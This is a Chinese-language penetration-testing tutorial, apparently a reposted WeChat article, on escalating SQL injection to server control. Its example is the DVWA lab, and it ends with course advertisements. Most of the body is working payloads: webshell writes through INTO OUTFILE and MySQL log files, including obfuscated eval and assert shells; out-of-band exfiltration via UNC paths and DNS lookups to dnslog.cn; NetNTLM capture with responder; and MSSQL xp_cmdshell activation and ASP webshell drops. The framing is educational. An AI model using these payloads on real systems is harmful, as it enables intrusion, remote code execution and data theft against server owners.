SQL注入到Getshell和OOB
2022-9-21 07:30:51 Author: 哆啦安全(查看原文) 阅读量:35 收藏

Web安全视频课程(持续更新中)


0x00 前言

  上一节,我们已经介绍了基本的SQL查询语句,常见的SQL注入类型,DVWA靶场演示SQL注入。学习了上一节我们可以做到执行任意SQL语句,主要可以对数据库的数据进行操作,但是不能对服务器和应用进一步控制,本节就介绍下在有sql注入的情况下如何进行下一步的渗透,获取到服务器权限。

0x01 Getshell

  这里我们还是以上一节说的DVWA靶场为例,利用SQL注入漏洞写入webshell获取网站权限。

目标环境:

  PHP+MYSQL+LINUX

前提条件:

  - mysql 是root权限

  - 知道网站在服务器上的物理路径,且可写

  - 没有过滤单引号

  - `PHP`的`GPC`为 off状态

  - mysql <= 5.6.34

当`secure_file_priv`的值没有具体值时,表示不对`MySQL`的导入|导出做限制

SHOW VARIABLES LIKE "secure_file_priv";

如果是null,表示`MySQL`不允许导入导出。(NULL不等于没有空)

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默认为NULL,并且无法用`SQL`语句对其进行修改,并且会报错如下:

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

下载低版本的mysql测试

利用outfile和dumpfile,**outfile会在每行添加反斜杠,可导出多行,dumpfile只能导出一行,不会添加反斜杠,适合导出二进制文件:

```?id=1' UNION ALL SELECT 1,'<?php phpinfo();?>' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'<?php phpinfo();?>' into dumpfile '/tmp/info.php'#```

如果不能使用union查询可以使用`fields terminated by`与`lines terminated by`:

```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'#```

修改配置getshell:

```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

小tricks:

利用日志文件getshell

```show variables like '%general%';  --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)set global general_log = on;    --开启日志监测,默认关闭(如果一直开文件会很大的)set global general_log_file = '/var/www/html/info.php';    --设置日志路径select '<?php phpinfo();?>';    --执行查询,写入shell
--SQL查询免杀shellselect "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查询写shell,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错show global variables like '%long_query_time%' --查看服务器默认时间值show variables like '%slow_query_log%'; --查看慢查询信息set global slow_query_log=1; --启用慢查询日志(默认禁用)set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell```

0x02 OOB

  利用mysql的函数,把信息传递到外网控制的机器,例如文件读取的函数,其实是对上面利用的一种变形和深度利用

前提条件:

  - mysql <= 5.6.34

跟上面一样**secure_file_priv**,在5.6.34之前是空值,之后被设置为null,直接被禁止了

```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\\\',version(),'.dnslog.cn\\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

这里可能被利用窃取NetNtlm或者SMBrelay

responder -I eth0 -rv

0x03 MSSQL 执行命令

  当碰到windows服务器上web应用有MSSQL注入时,可利用注入执行命令写webshell等

前提条件:

  - SQL Server 2005以后默认关闭,需要手动开启

查看xp_cmdshell是否开启,并且使用语句开启:

```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

执行命令:

```exec master..xp_cmdshell 'whoami';```

如果xp_cmdshell被删除,我们可以利用xplog70.dll恢复被删除的xp_cmdshell

```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'```

这里就涉及到上传文件:

1.利用sql语句写入

```exec sp_makewebtask  'c:\\windows\\temp\\xx.dll','select''<%execute(request("cmd"))%>'''```

2.利用命令执行,写入或下载

```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\\windows\\temp\\xx.dll)'```

3.db权限

```目录情况:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通过修改id来遍历目录写数据 alter database 数据库名 set RECOVERY FULL  开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 数据库名 to disk='c:\可读写路径\x.asp'-- 这里的目录注意是可读写目录,不然会出问题alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full```

其他:

  - COM组件利用

  - CLR利用

  - SQL Server 2016 R利用

  - SQL Server 2017 Python利用

  - 沙盒利用(openrowset)

  - Agent Job利用

0X04 总结

  SQL注入到Getshell

课程地址:

Android10系统定制之frida逆向分析速成培训班(定制专业的安全手机)https://m.weishi100.com/mweb/series/?id=1373351
Web安全攻防实战零基础速成培训班https://m.weishi100.com/mweb/series/?id=1372437

kali渗透测试环境搭建

Web安全|docker环境搭建(2)

推荐阅读

MySQL安全加固

SQL注入基础知识点

MySQL注入-Bypass

Web漏洞之SQL注入

SQL注入从入门到精通

SQL注入语句和方法总结

sqlmap检测sql注入漏洞

发现注入和判断数据库(SQL注入)

利用Sql注入漏洞之获取服务器Root权限

APP渗透|从SQL注入到人脸识别登录绕过

干货|多种SQL注入方式原理介绍(SQL注入基础)


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NzUzNzk1Mw==&mid=2247494207&idx=1&sn=83b866118e487bd420d9ad32b93fe4f4&chksm=ceb8af71f9cf2667ed472afbf8487fde8d0e960feeff7c0a27c1dc6d7bbf88f2fa812bb118f2#rd
如有侵权请联系:admin#unsafe.sh